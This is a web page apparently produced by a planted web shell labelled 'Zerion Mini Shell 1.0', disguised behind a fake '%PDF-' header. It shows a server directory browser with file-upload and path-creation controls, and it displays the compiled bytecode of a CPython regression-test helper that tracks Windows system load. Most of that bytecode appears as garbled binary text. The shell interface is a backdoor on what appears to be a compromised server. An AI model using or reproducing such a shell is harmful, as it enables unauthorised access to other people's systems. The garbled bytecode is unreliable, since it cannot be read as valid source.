%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core20/2599/lib/python3.8/test/libregrtest/__pycache__/
Upload File :
Create Path :
Current File : //snap/core20/2599/lib/python3.8/test/libregrtest/__pycache__/win_utils.cpython-38.pyc

U

���g��@s�ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
dZdZde�
ed�ZdZdZGd	d
�d
�ZdS)�N)�support)�
print_warningi ��<�zDSOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\CurrentLanguagec@sReZdZdZdd�Zdd�Zdd�Zdd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�WindowsLoadTrackerz�
    This class asynchronously interacts with the `typeperf` command to read
    the system load on Windows. Multiprocessing and threads can't be used
    here because they interfere with the test suite's cases for those
    modules.
    cCs$g|_d|_d|_d|_|��dS)N�)�_values�_load�_buffer�_popen�start��self�r�0/usr/lib/python3.8/test/libregrtest/win_utils.py�__init__$s
zWindowsLoadTracker.__init__c
Cs�dtt���}tj}|tjO}|tjO}t�||tjdt	t	tj
tj�|_t�
|tjdtjtjdtj�}t�|d�}tj|jdd�}|�d�|��}d|dtt�g}tjd�|�|tjd	�|_t�|�dS)
Nz\\.\pipe\typeperf_output_rrT)�
overlappedZtypeperfz-si� )�stdout�cwd)�str�uuidZuuid4�_winapiZPIPE_ACCESS_INBOUNDZFILE_FLAG_FIRST_PIPE_INSTANCEZFILE_FLAG_OVERLAPPEDZCreateNamedPipeZ	PIPE_WAIT�BUFSIZEZNMPWAIT_WAIT_FOREVERZNULL�pipeZ
CreateFileZ
GENERIC_WRITEZ
OPEN_EXISTING�msvcrtZopen_osfhandleZConnectNamedPipe�GetOverlappedResult�_get_counter_name�SAMPLING_INTERVAL�
subprocess�Popen�joinrZSAVEDCWDr�os�close)rZ	pipe_nameZ	open_modeZpipe_write_endZcommand_stdoutZoverlapZcounter_nameZcommandrrrr
+s<

��
zWindowsLoadTracker.startc	Csbt�tjt��}t�|d�d}W5QRXt|�}tt||��}|d}|d}d|�d|�d�S)N�Counterr�2Z44z"\�\�")�winreg�OpenKey�HKEY_LOCAL_MACHINE�COUNTER_REGISTRY_KEYZQueryValueEx�iter�dict�zip)rZperfkeyZcountersZ
counters_dict�systemZprocess_queue_lengthrrrrMsz$WindowsLoadTracker._get_counter_nameTcCs6|jdkrdSd|_|r"|j��|j��d|_dS�N)rr
�kill�wait)rr2rrrr$\s


zWindowsLoadTracker.closecCs|��dSr1)r$rrrr�__del__gszWindowsLoadTracker.__del__cCsN|�d�}t|�dkrt�|d}|�d�r6|�d�s:t�|dd�}t|�S)N�,�rr(���)�split�len�
ValueError�
startswith�endswith�float)r�line�tokens�valuerrr�_parse_linejs
zWindowsLoadTracker._parse_linecCs�t�|jtd�\}}|�d�\}}|dkr.dS|��}|�dd�}|j|}|�d�}z|�	|d�Wn t
k
r�|�d�|_YnXd|_|S)	NTFrrZoem�replacer7r)rZReadFilerrr�	getbuffer�decoder�
splitlinesrAr:�pop)rr�_Z
bytes_read�res�output�linesrrr�_read_linesxs

zWindowsLoadTracker._read_linesc	Cs|jdkrdS|j��}|dk	r0|jdd�dSz|��}Wntk
rZ|��YdSX|D]�}|��}d|krvq`|s|q`z|�|�}Wn$tk
r�td|�Yq`YnX|j	dk	r�|j	t
|dt
|_	q`t|j�t
kr�|j�|�q`t|j�t|j�|_	q`|j	S)NF)r2zPDH-CSVz#Failed to parse typeperf output: %ag�?)rZpollr$rK�BrokenPipeError�rstriprAr:rr
�
LOAD_FACTOR_1r9r	�NVALUE�append�sum)r�
returncoderJr>Zprocessor_queue_lengthrrr�
getloadavg�s<




�zWindowsLoadTracker.getloadavgN)T)�__name__�
__module__�__qualname__�__doc__rr
rr$r4rArKrSrrrrrs"
r)rZmathrr#r rr)ZtestrZtest.libregrtest.utilsrrrZexprNrOr,rrrrr�<module>s

Zerion Mini Shell 1.0